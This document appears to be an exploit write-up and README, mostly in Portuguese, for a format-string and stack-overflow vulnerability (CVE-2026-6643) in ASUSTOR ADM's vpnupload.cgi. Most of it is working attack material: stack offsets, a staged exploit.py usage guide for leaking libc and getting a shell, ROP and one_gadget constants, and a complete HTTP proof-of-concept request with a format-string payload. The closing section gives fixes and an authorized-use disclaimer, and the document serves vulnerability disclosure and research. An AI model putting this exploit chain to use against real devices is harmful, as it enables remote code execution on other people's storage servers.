
ASUSTOR ADM 5.1.2 vpnupload.cgi Format String & Stack Buffer Overflow RCE (CVE-2026-6643)
| Campo | Valor |
|---|
| Produto | ASUSTOR ADM (ASUSTOR Data Master) |
| Versão Afetada | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Componente | /portal/apis/settings/vpnupload.cgi — ação upload_wireguard |
| Tipo de Vulnerabilidade | CWE-134 Format String / CWE-121 Estouro de Buffer na Pilha |
| Severidade | Alta |
| Autenticação Necessária | Sim (cookie Revive_Session válido) |
| Data de Descoberta | 2026-03-14 |
O manipulador upload_wireguard analisa um arquivo de configuração WireGuard, monta os campos em um objeto JSON e passa o resultado diretamente como argumento de string de formatação para printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // string de formatação controlada pelo usuário
Um invasor pode incorporar especificadores de formato printf em qualquer campo de configuração WireGuard:
%x / %p — lê memória da pilha (vazamento de informação)%n — escreve em memória arbitrária (execução de código via sobrescrita de GOT)O mesmo manipulador usa sscanf("%s") sem limites para copiar valores de configuração para buffers de pilha de 300 bytes, enquanto fgets aceita até 32.768 bytes por linha:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 campos no total; apenas DNS tem limite de comprimento
Fornecer mais de 300 bytes causa estouro para buffers adjacentes. Em 4.000 bytes, o RIP salvo é corrompido, causando SIGSEGV.
| Proteção | Status | Impacto |
|---|---|---|
| FORTIFY_SOURCE | Desabilitado | printf (não __printf_chk) — escrita %n funciona |
| Canário de Pilha | Desabilitado | Nenhum vazamento de canário necessário |
| PIE | Desabilitado | Endereços GOT e gadgets são estáticos |
| RELRO | Parcial | GOT é gravável |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (o buffer do Endpoint) está em rbp-0x164, o mais próximo dos oito buffers ao endereço de retorno salvo:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← alvo
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes de distância
sscanf("%s") para de copiar em um byte nulo. Um endereço libc (0x7f...) em little-endian termina com dois bytes nulos. No entanto, os dois bytes superiores de qualquer RIP salvo já contêm 0x0000, então a escrita ocorre corretamente mesmo que sscanf termine cedo:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf para aqui
mas esses bytes já eram 0x00 → correto
Todos os gadgets ROP intermediários também devem vir da libc (faixa 0x7f...) para evitar bytes nulos embutidos. Apenas o valor final na cadeia pode terminar com nulos.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Exemplo de saída:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Exemplo de saída:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← candidato libc
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identifique o símbolo e calcule a base libc:
readelf -s libc.so.6 | grep -w __libc_start_main
# ex.: offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Tente one_gadget primeiro (use a ferramenta one_gadget para obter offsets corretos)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Recaia na cadeia ROP pop rdi + system() se one_gadget falhar
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Extraia libc.so.6 da imagem do firmware e execute:
# offset system()
readelf -s libc.so.6 | grep -w system
# offset da string /bin/sh
strings -a -t x libc.so.6 | grep '/bin/sh'
# offsets one_gadget
one_gadget libc.so.6 # gem install one_gadget
Atualize as constantes em exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Nota: Duas seções multipart são necessárias. O analisador usa um contador de limite; a análise
sscanfé ativada apenas na segunda seção.
Resposta (campo clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
Defina PrivateKey para 4.000 bytes → SIGSEGV (código de saída 139).
| Vulnerabilidade | Correção |
|---|---|
| Format String | Substitua printf(pcVar2) por printf("%s", pcVar2) ou fputs(pcVar2, stdout) |
| Estouro de Buffer | Adicione limites de comprimento a todas as strings de formato sscanf (ex.: %299s para buffers de 300 bytes) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi extraído da imagemld-linux do firmware e bibliotecas compartilhadasje → jmp no offset 0x1224 (apenas testes locais)Este exploit é fornecido apenas para pesquisa de segurança e testes autorizados. Não use contra sistemas sem permissão explícita.